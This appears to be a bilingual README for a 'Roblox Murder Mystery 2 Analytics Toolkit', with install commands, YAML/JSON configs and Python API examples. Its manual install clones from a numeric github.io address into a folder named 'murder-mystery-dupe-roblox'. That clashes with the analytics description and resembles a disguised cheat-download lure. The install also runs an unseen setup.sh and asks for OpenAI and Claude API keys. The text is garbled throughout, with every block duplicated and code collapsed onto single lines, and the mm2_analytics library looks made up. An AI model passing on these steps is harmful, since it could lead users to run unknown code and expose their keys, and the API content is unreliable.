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roblox-mm2-analytics-toolkit

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Roblox MM2 Analytics Toolkit

Roblox MM2分析工具包

Skill by ara.so — Data Skills collection.
由ara.so开发的Skill — 数据技能合集。

Overview

概述

The Murder Mystery 2 Analytics Toolkit is a comprehensive data analysis and inventory management system for Roblox's Murder Mystery 2 game. It provides inventory tracking, performance analytics, strategy optimization, and collection management through a local analytical engine.
Key Capabilities:
  • Inventory tracking and cataloging (knife skins, gamepasses)
  • Analytics dashboard with data visualization
  • Performance metrics and win/loss tracking
  • Strategy pattern analysis
  • Collection completionist tools
  • Export functionality (CSV, JSON)
Murder Mystery 2分析工具包是针对Roblox平台《Murder Mystery 2》游戏的一套综合性数据分析与库存管理系统。它通过本地分析引擎提供库存追踪、性能分析、策略优化和收藏管理功能。
核心功能：
  • 库存追踪与分类（刀具皮肤、游戏通行证）
  • 带数据可视化的分析仪表盘
  • 性能指标与胜负追踪
  • 策略模式分析
  • 收藏完成度工具
  • 导出功能（CSV、JSON）

Installation

安装

Automated Installation

自动安装

bash
chmod +x setup.sh
./setup.sh --install
bash
chmod +x setup.sh
./setup.sh --install

Manual Installation

手动安装

bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt

Environment Setup

环境配置

Create a 
.env
file:
bash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO
创建 
.env
文件：
bash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO

Core Commands

核心命令

Analytics Engine

分析引擎

bash
undefined
bash
undefined

Run comprehensive analytics

运行全面分析

python3 main.py --mode analytics --profile <profile_name>
python3 main.py --mode analytics --profile <profile_name>

Export statistics

导出统计数据

python3 main.py --mode analytics
--profile mystery_solver_01
--export statistics_2026.json
--format json
--verbose
python3 main.py --mode analytics
--profile mystery_solver_01
--export statistics_2026.json
--format json
--verbose

Real-time tracking mode

实时追踪模式

python3 main.py --mode live
--profile <profile_name>
--interval 60
--log-level DEBUG
undefined
python3 main.py --mode live
--profile <profile_name>
--interval 60
--log-level DEBUG
undefined

Inventory Management

库存管理

bash
undefined
bash
undefined

Scan inventory

扫描库存

python3 main.py --mode inventory
--scan
--profile <profile_name>
python3 main.py --mode inventory
--scan
--profile <profile_name>

Filter by category

按类别筛选

python3 main.py --mode inventory
--category knife_skins
--rarity legendary,ancient
python3 main.py --mode inventory
--category knife_skins
--rarity legendary,ancient

Collection completionist check

收藏完成度检查

python3 main.py --mode inventory
--check-completionist
--export missing_items.json
undefined
python3 main.py --mode inventory
--check-completionist
--export missing_items.json
undefined

Strategy Analysis

策略分析

bash
undefined
bash
undefined

Analyze gameplay patterns

分析游戏模式

python3 main.py --mode strategy
--analyze
--role sheriff
--sessions 50
python3 main.py --mode strategy
--analyze
--role sheriff
--sessions 50

Generate strategy recommendations

生成策略建议

python3 main.py --mode strategy
--recommend
--preferred-role murderer
--output recommendations.txt
undefined
python3 main.py --mode strategy
--recommend
--preferred-role murderer
--output recommendations.txt
undefined

Configuration

配置

Profile Configuration (YAML)

配置文件（YAML）

Create 
profiles/<username>.yaml
:
yaml
profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
    enable_ai_insights: true
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
      tactics: ["quick_elimination", "crowd_monitoring"]
    
    - name: "passive_innocent"
      priority: "distraction_avoidance"
      tactics: ["stealth_movement", "group_safety"]
    
    - name: "stealth_murderer"
      priority: "isolated_targets"
      tactics: ["ambush", "distraction_creation"]
创建 
profiles/<username>.yaml
：
yaml
profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
    enable_ai_insights: true
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
      tactics: ["quick_elimination", "crowd_monitoring"]
    
    - name: "passive_innocent"
      priority: "distraction_avoidance"
      tactics: ["stealth_movement", "group_safety"]
    
    - name: "stealth_murderer"
      priority: "isolated_targets"
      tactics: ["ambush", "distraction_creation"]

Analytics Configuration (JSON)

分析配置（JSON）

Create 
config/analytics.json
:
json
{
  "data_collection": {
    "enabled": true,
    "interval_seconds": 300,
    "metrics": [
      "win_rate",
      "role_performance",
      "survival_time",
      "elimination_stats"
    ]
  },
  "visualization": {
    "dashboard_port": 8080,
    "auto_refresh": true,
    "chart_types": ["line", "bar", "pie", "scatter"]
  },
  "export": {
    "auto_export": true,
    "formats": ["json", "csv"],
    "directory": "./exports"
  }
}
创建 
config/analytics.json
：
json
{
  "data_collection": {
    "enabled": true,
    "interval_seconds": 300,
    "metrics": [
      "win_rate",
      "role_performance",
      "survival_time",
      "elimination_stats"
    ]
  },
  "visualization": {
    "dashboard_port": 8080,
    "auto_refresh": true,
    "chart_types": ["line", "bar", "pie", "scatter"]
  },
  "export": {
    "auto_export": true,
    "formats": ["json", "csv"],
    "directory": "./exports"
  }
}

Python API Usage

Python API 使用

Initialize Analytics Engine

初始化分析引擎

python
from mm2_analytics import AnalyticsEngine, InventoryManager, StrategyAnalyzer
import os
python
from mm2_analytics import AnalyticsEngine, InventoryManager, StrategyAnalyzer
import os

Initialize with environment variables

用环境变量初始化

engine = AnalyticsEngine( api_key=os.getenv('API_OPENAI_KEY'), data_dir=os.getenv('DATA_DIRECTORY', './data') )
engine = AnalyticsEngine( api_key=os.getenv('API_OPENAI_KEY'), data_dir=os.getenv('DATA_DIRECTORY', './data') )

Load user profile

加载用户配置

profile = engine.load_profile('mystery_solver_01') print(f"Loaded profile: {profile.username}")
undefined
profile = engine.load_profile('mystery_solver_01') print(f"Loaded profile: {profile.username}")
undefined

Inventory Tracking

库存追踪

python
from mm2_analytics import InventoryManager
python
from mm2_analytics import InventoryManager

Initialize inventory manager

初始化库存管理器

inventory = InventoryManager(profile='mystery_solver_01')
inventory = InventoryManager(profile='mystery_solver_01')

Scan current inventory

扫描当前库存

items = inventory.scan() print(f"Total items: {len(items)}")
items = inventory.scan() print(f"Total items: {len(items)}")

Filter knife skins by rarity

按稀有度筛选刀具皮肤

legendary_knives = inventory.filter( category='knife_skins', rarity=['legendary', 'ancient'] )
for knife in legendary_knives: print(f"- {knife.name} (Rarity: {knife.rarity})")
legendary_knives = inventory.filter( category='knife_skins', rarity=['legendary', 'ancient'] )
for knife in legendary_knives: print(f"- {knife.name} (Rarity: {knife.rarity})")

Export inventory

导出库存

inventory.export('my_inventory.json', format='json')
undefined
inventory.export('my_inventory.json', format='json')
undefined

Analytics and Metrics

分析与指标

python
from mm2_analytics import MetricsCollector
python
from mm2_analytics import MetricsCollector

Initialize metrics collector

初始化指标收集器

metrics = MetricsCollector(profile='mystery_solver_01')
metrics = MetricsCollector(profile='mystery_solver_01')

Collect performance data

收集性能数据

stats = metrics.collect_stats(sessions=100)
print(f"Win Rate: {stats.win_rate:.2f}%") print(f"Avg Survival Time: {stats.avg_survival_time}s") print(f"Role Performance:") for role, perf in stats.role_performance.items(): print(f" {role}: {perf:.2f}%")
stats = metrics.collect_stats(sessions=100)
print(f"Win Rate: {stats.win_rate:.2f}%") print(f"Avg Survival Time: {stats.avg_survival_time}s") print(f"Role Performance:") for role, perf in stats.role_performance.items(): print(f" {role}: {perf:.2f}%")

Generate visualization

生成可视化图表

metrics.visualize( output='dashboard.html', chart_types=['line', 'bar', 'pie'] )
undefined
metrics.visualize( output='dashboard.html', chart_types=['line', 'bar', 'pie'] )
undefined

Strategy Analysis

策略分析

python
from mm2_analytics import StrategyAnalyzer
python
from mm2_analytics import StrategyAnalyzer

Initialize strategy analyzer

初始化策略分析器

analyzer = StrategyAnalyzer( profile='mystery_solver_01', ai_enabled=True, api_key=os.getenv('API_OPENAI_KEY') )
analyzer = StrategyAnalyzer( profile='mystery_solver_01', ai_enabled=True, api_key=os.getenv('API_OPENAI_KEY') )

Analyze patterns

分析模式

patterns = analyzer.analyze_patterns( role='sheriff', min_sessions=50 )
print("Successful Patterns:") for pattern in patterns.successful: print(f"- {pattern.name}: {pattern.success_rate:.2f}%")
patterns = analyzer.analyze_patterns( role='sheriff', min_sessions=50 )
print("Successful Patterns:") for pattern in patterns.successful: print(f"- {pattern.name}: {pattern.success_rate:.2f}%")

Get AI recommendations

获取AI建议

recommendations = analyzer.get_ai_recommendations( preferred_role='murderer', playstyle='aggressive' )
for rec in recommendations: print(f"\n{rec.title}") print(f"Description: {rec.description}") print(f"Expected improvement: {rec.improvement_estimate}%")
undefined
recommendations = analyzer.get_ai_recommendations( preferred_role='murderer', playstyle='aggressive' )
for rec in recommendations: print(f"\n{rec.title}") print(f"Description: {rec.description}") print(f"Expected improvement: {rec.improvement_estimate}%")
undefined

Data Export

数据导出

python
from mm2_analytics import DataExporter
python
from mm2_analytics import DataExporter

Initialize exporter

初始化导出器

exporter = DataExporter( data_dir='./data', export_dir='./exports' )
exporter = DataExporter( data_dir='./data', export_dir='./exports' )

Export comprehensive statistics

导出全面统计数据

exporter.export_stats( profile='mystery_solver_01', format='json', filename='comprehensive_stats_2026.json', include_ai_insights=True )
exporter.export_stats( profile='mystery_solver_01', format='json', filename='comprehensive_stats_2026.json', include_ai_insights=True )

Export as CSV for spreadsheet analysis

导出为CSV用于表格分析

exporter.export_stats( profile='mystery_solver_01', format='csv', filename='stats_2026.csv', metrics=['win_rate', 'role_performance', 'survival_time'] )
exporter.export_stats( profile='mystery_solver_01', format='csv', filename='stats_2026.csv', metrics=['win_rate', 'role_performance', 'survival_time'] )

Batch export multiple profiles

批量导出多个配置

exporter.batch_export( profiles=['profile1', 'profile2', 'profile3'], format='json', combine=True, output='team_statistics.json' )
undefined
exporter.batch_export( profiles=['profile1', 'profile2', 'profile3'], format='json', combine=True, output='team_statistics.json' )
undefined

Live Tracking

实时追踪

python
from mm2_analytics import LiveTracker
import asyncio
python
from mm2_analytics import LiveTracker
import asyncio

Initialize live tracker

初始化实时追踪器

tracker = LiveTracker( profile='mystery_solver_01', interval=60 )
tracker = LiveTracker( profile='mystery_solver_01', interval=60 )

Start tracking session

启动追踪会话

async def track_session(): await tracker.start()
# Track for 2 hours
await asyncio.sleep(7200)

# Stop and export
session_data = await tracker.stop()
tracker.export(session_data, 'live_session_2026.json')
async def track_session(): await tracker.start()
# 追踪2小时
await asyncio.sleep(7200)

# 停止并导出
session_data = await tracker.stop()
tracker.export(session_data, 'live_session_2026.json')

Run tracker

运行追踪器

asyncio.run(track_session())
undefined
asyncio.run(track_session())
undefined

Common Patterns

常见模式

Complete Workflow Example

完整工作流示例

python
import os
from mm2_analytics import (
    AnalyticsEngine,
    InventoryManager,
    MetricsCollector,
    StrategyAnalyzer,
    DataExporter
)

def analyze_mm2_performance(username: str):
    """Complete MM2 analysis workflow"""
    
    # 1. Initialize engine
    engine = AnalyticsEngine(
        api_key=os.getenv('API_OPENAI_KEY'),
        data_dir='./data'
    )
    
    # 2. Load profile
    profile = engine.load_profile(username)
    
    # 3. Scan inventory
    inventory = InventoryManager(profile=username)
    items = inventory.scan()
    print(f"Inventory: {len(items)} items")
    
    # Filter valuable items
    valuable = inventory.filter(
        category='knife_skins',
        rarity=['legendary', 'ancient']
    )
    print(f"Valuable knives: {len(valuable)}")
    
    # 4. Collect metrics
    metrics = MetricsCollector(profile=username)
    stats = metrics.collect_stats(sessions=100)
    
    print(f"\nPerformance Summary:")
    print(f"Win Rate: {stats.win_rate:.2f}%")
    print(f"Best Role: {stats.best_role}")
    
    # 5. Analyze strategy
    analyzer = StrategyAnalyzer(
        profile=username,
        ai_enabled=True,
        api_key=os.getenv('API_OPENAI_KEY')
    )
    
    recommendations = analyzer.get_ai_recommendations(
        preferred_role=profile.preferred_role,
        playstyle='adaptive'
    )
    
    print(f"\nStrategy Recommendations:")
    for rec in recommendations[:3]:
        print(f"- {rec.title}")
    
    # 6. Export comprehensive report
    exporter = DataExporter(export_dir='./exports')
    exporter.export_comprehensive_report(
        profile=username,
        include_inventory=True,
        include_metrics=True,
        include_strategy=True,
        include_ai_insights=True,
        output=f'{username}_report_2026.json'
    )
    
    print(f"\nReport exported: {username}_report_2026.json")
python
import os
from mm2_analytics import (
    AnalyticsEngine,
    InventoryManager,
    MetricsCollector,
    StrategyAnalyzer,
    DataExporter
)

def analyze_mm2_performance(username: str):
    """完整的MM2分析工作流"""
    
    # 1. 初始化引擎
    engine = AnalyticsEngine(
        api_key=os.getenv('API_OPENAI_KEY'),
        data_dir='./data'
    )
    
    # 2. 加载配置
    profile = engine.load_profile(username)
    
    # 3. 扫描库存
    inventory = InventoryManager(profile=username)
    items = inventory.scan()
    print(f"Inventory: {len(items)} items")
    
    # 筛选高价值物品
    valuable = inventory.filter(
        category='knife_skins',
        rarity=['legendary', 'ancient']
    )
    print(f"Valuable knives: {len(valuable)}")
    
    # 4. 收集指标
    metrics = MetricsCollector(profile=username)
    stats = metrics.collect_stats(sessions=100)
    
    print(f"\nPerformance Summary:")
    print(f"Win Rate: {stats.win_rate:.2f}%")
    print(f"Best Role: {stats.best_role}")
    
    # 5. 分析策略
    analyzer = StrategyAnalyzer(
        profile=username,
        ai_enabled=True,
        api_key=os.getenv('API_OPENAI_KEY')
    )
    
    recommendations = analyzer.get_ai_recommendations(
        preferred_role=profile.preferred_role,
        playstyle='adaptive'
    )
    
    print(f"\nStrategy Recommendations:")
    for rec in recommendations[:3]:
        print(f"- {rec.title}")
    
    # 6. 导出全面报告
    exporter = DataExporter(export_dir='./exports')
    exporter.export_comprehensive_report(
        profile=username,
        include_inventory=True,
        include_metrics=True,
        include_strategy=True,
        include_ai_insights=True,
        output=f'{username}_report_2026.json'
    )
    
    print(f"\nReport exported: {username}_report_2026.json")

Run analysis

运行分析

analyze_mm2_performance('mystery_solver_01')
undefined
analyze_mm2_performance('mystery_solver_01')
undefined

Inventory Completionist Check

收藏完成度检查

python
from mm2_analytics import InventoryManager, CollectionTracker

def check_collection_completeness(username: str):
    """Check collection completeness and identify missing items"""
    
    inventory = InventoryManager(profile=username)
    tracker = CollectionTracker(inventory)
    
    # Get collection status
    status = tracker.get_completeness()
    
    print(f"Collection Completeness: {status.percentage:.2f}%")
    print(f"Total Items: {status.total}")
    print(f"Owned: {status.owned}")
    print(f"Missing: {status.missing}")
    
    # Get missing items by category
    missing_by_category = tracker.get_missing_by_category()
    
    for category, items in missing_by_category.items():
        print(f"\n{category.upper()} - Missing {len(items)}:")
        for item in items[:5]:  # Show top 5
            print(f"  - {item.name} (Rarity: {item.rarity})")
    
    # Export missing items list
    tracker.export_missing_items('missing_items.json')

check_collection_completeness('mystery_solver_01')
python
from mm2_analytics import InventoryManager, CollectionTracker

def check_collection_completeness(username: str):
    """检查收藏完成度并识别缺失物品"""
    
    inventory = InventoryManager(profile=username)
    tracker = CollectionTracker(inventory)
    
    # 获取收藏状态
    status = tracker.get_completeness()
    
    print(f"Collection Completeness: {status.percentage:.2f}%")
    print(f"Total Items: {status.total}")
    print(f"Owned: {status.owned}")
    print(f"Missing: {status.missing}")
    
    # 按类别获取缺失物品
    missing_by_category = tracker.get_missing_by_category()
    
    for category, items in missing_by_category.items():
        print(f"\n{category.upper()} - Missing {len(items)}:")
        for item in items[:5]:  # 显示前5个
            print(f"  - {item.name} (Rarity: {item.rarity})")
    
    # 导出缺失物品列表
    tracker.export_missing_items('missing_items.json')

check_collection_completeness('mystery_solver_01')

Multi-Profile Comparison

多配置对比

python
from mm2_analytics import ProfileComparator

def compare_profiles(profile_names: list):
    """Compare performance across multiple profiles"""
    
    comparator = ProfileComparator(profiles=profile_names)
    
    # Get comparative stats
    comparison = comparator.compare(
        metrics=['win_rate', 'survival_time', 'role_performance']
    )
    
    print("Profile Comparison:")
    for profile_name in profile_names:
        stats = comparison[profile_name]
        print(f"\n{profile_name}:")
        print(f"  Win Rate: {stats.win_rate:.2f}%")
        print(f"  Avg Survival: {stats.avg_survival}s")
        print(f"  Best Role: {stats.best_role}")
    
    # Visualize comparison
    comparator.visualize_comparison(
        output='profile_comparison.html',
        chart_type='radar'
    )

compare_profiles(['profile1', 'profile2', 'profile3'])
python
from mm2_analytics import ProfileComparator

def compare_profiles(profile_names: list):
    """对比多个配置的性能"""
    
    comparator = ProfileComparator(profiles=profile_names)
    
    # 获取对比统计数据
    comparison = comparator.compare(
        metrics=['win_rate', 'survival_time', 'role_performance']
    )
    
    print("Profile Comparison:")
    for profile_name in profile_names:
        stats = comparison[profile_name]
        print(f"\n{profile_name}:")
        print(f"  Win Rate: {stats.win_rate:.2f}%")
        print(f"  Avg Survival: {stats.avg_survival}s")
        print(f"  Best Role: {stats.best_role}")
    
    # 可视化对比结果
    comparator.visualize_comparison(
        output='profile_comparison.html',
        chart_type='radar'
    )

compare_profiles(['profile1', 'profile2', 'profile3'])

Troubleshooting

故障排除

API Key Issues

API密钥问题

python
import os
python
import os

Verify environment variables are set

验证环境变量是否已设置

required_vars = ['API_OPENAI_KEY', 'API_CLAUDE_KEY'] for var in required_vars: if not os.getenv(var): print(f"WARNING: {var} not set")
undefined
required_vars = ['API_OPENAI_KEY', 'API_CLAUDE_KEY'] for var in required_vars: if not os.getenv(var): print(f"WARNING: {var} not set")
undefined

Data Directory Permissions

数据目录权限

bash
undefined
bash
undefined

Ensure data directory exists and is writable

确保数据目录存在且可写

mkdir -p ./data/collections chmod 755 ./data/collections
undefined
mkdir -p ./data/collections chmod 755 ./data/collections
undefined

Profile Not Found

配置未找到

python
from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine()

try:
    profile = engine.load_profile('username')
except FileNotFoundError:
    print("Profile not found. Creating new profile...")
    profile = engine.create_profile(
        username='username',
        preferred_role='sheriff'
    )
    profile.save()
python
from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine()

try:
    profile = engine.load_profile('username')
except FileNotFoundError:
    print("Profile not found. Creating new profile...")
    profile = engine.create_profile(
        username='username',
        preferred_role='sheriff'
    )
    profile.save()

Export Failures

导出失败

python
from mm2_analytics import DataExporter

exporter = DataExporter(export_dir='./exports')

try:
    exporter.export_stats('profile', format='json')
except PermissionError:
    print("Permission denied. Check export directory permissions.")
except Exception as e:
    print(f"Export failed: {e}")
    # Fallback to alternative location
    exporter = DataExporter(export_dir='/tmp/mm2_exports')
    exporter.export_stats('profile', format='json')
python
from mm2_analytics import DataExporter

exporter = DataExporter(export_dir='./exports')

try:
    exporter.export_stats('profile', format='json')
except PermissionError:
    print("Permission denied. Check export directory permissions.")
except Exception as e:
    print(f"Export failed: {e}")
    #  fallback到备用位置
    exporter = DataExporter(export_dir='/tmp/mm2_exports')
    exporter.export_stats('profile', format='json')

Verbose Logging

详细日志

bash
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bash
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Enable debug logging

启用调试日志

export LOG_LEVEL=DEBUG python3 main.py --mode analytics --verbose --log-level DEBUG

```python
import logging
export LOG_LEVEL=DEBUG python3 main.py --mode analytics --verbose --log-level DEBUG

```python
import logging

Configure logging in Python

在Python中配置日志

logging.basicConfig( level=logging.DEBUG, format='[%(asctime)s] %(levelname)s: %(message)s' )
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logging.basicConfig( level=logging.DEBUG, format='[%(asctime)s] %(levelname)s: %(message)s' )
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Advanced Features

高级功能

AI-Powered Insights

AI驱动的洞察

python
from mm2_analytics import AIInsightGenerator

generator = AIInsightGenerator(
    openai_key=os.getenv('API_OPENAI_KEY'),
    claude_key=os.getenv('API_CLAUDE_KEY')
)
python
from mm2_analytics import AIInsightGenerator

generator = AIInsightGenerator(
    openai_key=os.getenv('API_OPENAI_KEY'),
    claude_key=os.getenv('API_CLAUDE_KEY')
)

Generate insights from session data

从会话数据生成洞察

insights = generator.analyze_session( profile='mystery_solver_01', session_id='session_123', include_predictions=True )
print("AI Insights:") for insight in insights: print(f"\n{insight.category}: {insight.text}") print(f"Confidence: {insight.confidence:.2f}")
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insights = generator.analyze_session( profile='mystery_solver_01', session_id='session_123', include_predictions=True )
print("AI Insights:") for insight in insights: print(f"\n{insight.category}: {insight.text}") print(f"Confidence: {insight.confidence:.2f}")
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Custom Strategy Templates

自定义策略模板

python
from mm2_analytics import StrategyTemplate
python
from mm2_analytics import StrategyTemplate

Define custom strategy

定义自定义策略

template = StrategyTemplate( name='ninja_murderer', role='murderer', tactics=[ 'stealth_movement', 'isolated_targeting', 'crowd_avoidance' ], priority_areas=['shadows', 'corners', 'secondary_rooms'], success_metrics=['low_detection_rate', 'high_elimination_speed'] )
template = StrategyTemplate( name='ninja_murderer', role='murderer', tactics=[ 'stealth_movement', 'isolated_targeting', 'crowd_avoidance' ], priority_areas=['shadows', 'corners', 'secondary_rooms'], success_metrics=['low_detection_rate', 'high_elimination_speed'] )

Save template

保存模板

template.save('strategies/ninja_murderer.yaml')
template.save('strategies/ninja_murderer.yaml')

Apply to analyzer

应用到分析器

analyzer = StrategyAnalyzer(profile='mystery_solver_01') analyzer.apply_template(template)
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analyzer = StrategyAnalyzer(profile='mystery_solver_01') analyzer.apply_template(template)
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